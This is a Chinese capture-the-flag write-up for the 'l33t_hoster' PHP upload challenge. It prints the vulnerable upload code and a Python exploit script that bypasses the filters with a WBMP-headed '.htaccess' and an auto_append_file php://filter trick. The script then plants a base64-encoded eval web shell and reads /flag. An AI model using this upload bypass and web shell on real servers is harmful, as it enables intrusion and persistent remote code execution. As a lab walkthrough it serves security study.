首页 > 其他分享 >BMZCTF:insomniteaser_2019_l33t_hoster

BMZCTF:insomniteaser_2019_l33t_hoster

时间:2023-06-19 19:35:32浏览次数:43  
标签:hoster 文件 htaccess l33t 2019 file php 上传 imagetype


http://bmzclub.cn/challenges#insomniteaser_2019_l33t_hoster

BMZCTF:insomniteaser_2019_l33t_hoster_php


BMZCTF:insomniteaser_2019_l33t_hoster_3d_02


文件上传,/?source回显源码

<?php
if (isset($_GET["source"])) 
    die(highlight_file(__FILE__));

session_start();

if (!isset($_SESSION["home"])) {
    $_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
    mkdir($userdir);
}

$disallowed_ext = array(
    "php",
    "php3",
    "php4",
    "php5",
    "php7",
    "pht",
    "phtm",
    "phtml",
    "phar",
    "phps",
);


if (isset($_POST["upload"])) {
    if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
        die("yuuuge fail");
    }

    $tmp_name = $_FILES["image"]["tmp_name"];
    $name = $_FILES["image"]["name"];
    $parts = explode(".", $name);
    $ext = array_pop($parts);

    if (empty($parts[0])) {
        array_shift($parts);
    }

    if (count($parts) === 0) {
        die("lol filename is empty");
    }

    if (in_array($ext, $disallowed_ext, TRUE)) {
        die("lol nice try, but im not stupid dude...");
    }

    $image = file_get_contents($tmp_name);
    if (mb_strpos($image, "<?") !== FALSE) {
        die("why would you need php in a pic.....");
    }

    if (!exif_imagetype($tmp_name)) {
        die("not an image.");
    }

    $image_size = getimagesize($tmp_name);
    if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
        die("lol noob, your pic is not l33t enough");
    }

    $name = implode(".", $parts);
    move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}

echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
    echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";

?>
  • 黑名单:phpphp3php4php5php7phtphtmphtmlpharphps
  • 上传的文件内容中不能有<?字样
  • 必须是exif_imagetype中一种图片格式,且长宽得是1337*1337规格的

因为这里服务器是Apache/2.4.18 (Ubuntu),所以第一个想到的是上传.htaccess文件,在AllowOverride开启的情况下,.htaccess文件可以修改 PHP 能解析的文件后缀,但是这里要求上传exif_imagetype中的图片格式,会检查图片开头,如果将正常图片的文件头放在exif_imagetype中绕过检查,那样会影响.htaccess的解析。最终在exif_imagetype中找到一种叫wbmp的文件,该文件开头是0x00,0x00,再加上宽度和高度内容很小,不会影响.htaccess解析,这样就可以绕过黑名单和exif_imagetype,但是还是无法绕过上传文件中不能有<?字样

Apache2的配置文件中可以用php_value来覆盖php.ini的设置,而php.ini中有一条设置:auto_append_file,用来再所有php文件执行前先include一个文件,而在include中我们可以使用PHP流。那么我们就可以先上传.htaccess文件解析执行后缀名文件,在.htaccess中设置auto_append_file项,设置了之后就可以使用PHP流,那么我们之后上传的shell文件就可以base64编码绕过关键字过滤,然后使用php://流中的base64编码设置来解码shell内容然后解析

这里就直接利用Refer里面的那个脚本

#!/usr/bin/env python3
import requests
import base64

VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://www.bmzclub.cn:20351/"
RANDOM_DIRECTORY = "9541e8141d8a9e9b3b810a3560d4ad694a5a3db0"

COOKIES = {
    "PHPSESSID" : "33eb9c27d8a983d935e15389ba99b05b"
}

def upload_content(name, content):

    data = {
        "image" : (name, content, 'image/png'),
        "upload" : (None, "Submit Query", None)
    }
    
    response = requests.post(URL, files=data, cookies=COOKIES)

HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=mochu7.jpg"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?php
  echo "shell ok!";
  eval($_POST['mochu7']);
?>
""")

upload_content("..htaccess", HT_ACCESS)
upload_content("mochu7.jpg", TARGET_FILE)

response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/mochu7.jpg")
print(response.text)

BMZCTF:insomniteaser_2019_l33t_hoster_3d_03


然后访问/images/9541e8141d8a9e9b3b810a3560d4ad694a5a3db0/mochu7.jpg

BMZCTF:insomniteaser_2019_l33t_hoster_3d_04


shell拿到了,但是有很多disable_function

BMZCTF:insomniteaser_2019_l33t_hoster_3d_05


shell是废的,但是没有过滤scandir()file_get_contents(),那就还可以浏览文件,根目录直接找到/flag

mochu7=var_dump(scandir('/'));
mochu7=var_dump(file_get_contents('/flag'));

BMZCTF:insomniteaser_2019_l33t_hoster_上传_06

Refer: https://tiaonmmn.github.io/2019/05/15/Insomni-hack-teaser-2019-l33-hoster/


标签:hoster,文件,htaccess,l33t,2019,file,php,上传,imagetype
From: https://blog.51cto.com/u_16159500/6517081

相关文章

  • BUUCTF:[HDCTF2019]你能发现什么蛛丝马迹吗
    https://buuoj.cn/challenges#[HDCTF2019]%E4%BD%A0%E8%83%BD%E5%8F%91%E7%8E%B0%E4%BB%80%E4%B9%88%E8%9B%9B%E4%B8%9D%E9%A9%AC%E8%BF%B9%E5%90%97memory.imgVolatility分析查看文件的Profilevolatility-fmemory.imgimageinfo猜测为:Win2003SP1x86查看进程volatility-fmemor......
  • BUUCTF:[GXYCTF2019]禁止套娃
    https://buuoj.cn/challenges#[GXYCTF2019]%E7%A6%81%E6%AD%A2%E5%A5%97%E5%A8%83.git泄露,使用GitHackindex.php<?phpinclude"flag.php";echo"flag在哪里呢?<br>";if(isset($_GET['exp'])){if(!preg_match('/data:\/\/|fil......
  • BUUCTF:[极客大挑战 2019]Upload
    题目地址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]UploadPOST/upload_file.phpHTTP/1.1Host:b40c1d53-d3d6-43be-9f6d-67c767946f8c.node3.buuoj.cnUser-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:82.0)Gecko/2010......
  • BUUCTF:[ASIS 2019]Unicorn shop
    https://buuoj.cn/challenges#[ASIS%202019]Unicorn%20shop功能是一个购物商店,输入商品ID和价钱进行点击购买。源代码中提醒<metacharset="utf-8">很重要html使用的是UTF-8编码id和price都为空点击购买,返回报错及原因从中可以发现源代码是如何处理price的使用的是unicodedata......
  • BUUCTF:[BSidesSF2019]table-tennis
    https://buuoj.cn/challenges#[BSidesSF2019]table-tennisattachment.pcapng在ICMP包的尾部发现html代码,其中有打印base64信息拼接起来就是Q1RGe0p1c3RBUzBuZ0FiMHV0UDFuZ1Awbmd9>>>importbase64>>>base64.b64decode('Q1RGe0p1c3RBUzBuZ0FiMHV0UDFuZ1Awbmd9')b&......
  • BUUCTF:[GUET-CTF2019]soul sipse
    https://buuoj.cn/challenges#[GUET-CTF2019]soul%20sipseout.wav可用Steghide无密码分离出download.txtdownload.txthttps://share.weiyun.com/5wVTIN3下载得到GUET.png,修改为正确的PNG文件头保存得到正常的图片。如下\u0034\u0030\u0037\u0030\u000d\u000a\u0031\u0032\u0033\u0......
  • BUUCTF:[BSidesSF2019]diskimage
    https://buuoj.cn/challenges#[BSidesSF2019]diskimageattachment.pngzsteg-aattachment.png发现磁盘数据zsteg-e'b8,rgb,lsb,xy'attachment.png>data.dat分离出FAT格式的数据使用TestDisk对文件进行分析testdiskdata.dat[Proceed]回车[None]回车[Boot]回车[RebuildsBS]......
  • BUUCTF:[SWPU2019]伟大的侦探
    题目地址:https://buuoj.cn/challenges#[SWPU2019]%E4%BC%9F%E5%A4%A7%E7%9A%84%E4%BE%A6%E6%8E%A2密码.txt可解压,misc文件夹需要解压密码,将密码.txt使用010Editor打开,使用EBCDIC编码即可发现密码明文解压,misc文件夹内容如下:福尔摩斯小人密码对照得到:iloveholmesandwllmflag{ilov......
  • Android - 无法使用任何临时 SqlClient 版本(v2.1.4、v4.1.0、v5Preview)连接到 SQL Ser
    Aconnectionwassuccessfullyestablishedwiththeserver,butthenanerroroccurredduringthepre-loginhandshake.设法用证书和IP地址解决它。使用powershell为您的IP地址创建证书:New-SelfSignedCertificate-certstorelocationcert:\localmachine\my-dns......
  • 给Nexus6p刷入lineage14.1(android 7.1)和 nethunter 2019.3
    本文依据kali教程编写https://build.nethunter.com/contributors/re4son/angler/INSTALLATION.txt写在前面的话你可能很奇怪,为什么有kali2020.3不用要刷入2019.3版本的。其实目的是使用安卓7,因为高版本安卓对某些软件的兼容性太差,刷入2019载手动升级到2020.3.Andrax在安卓7、9......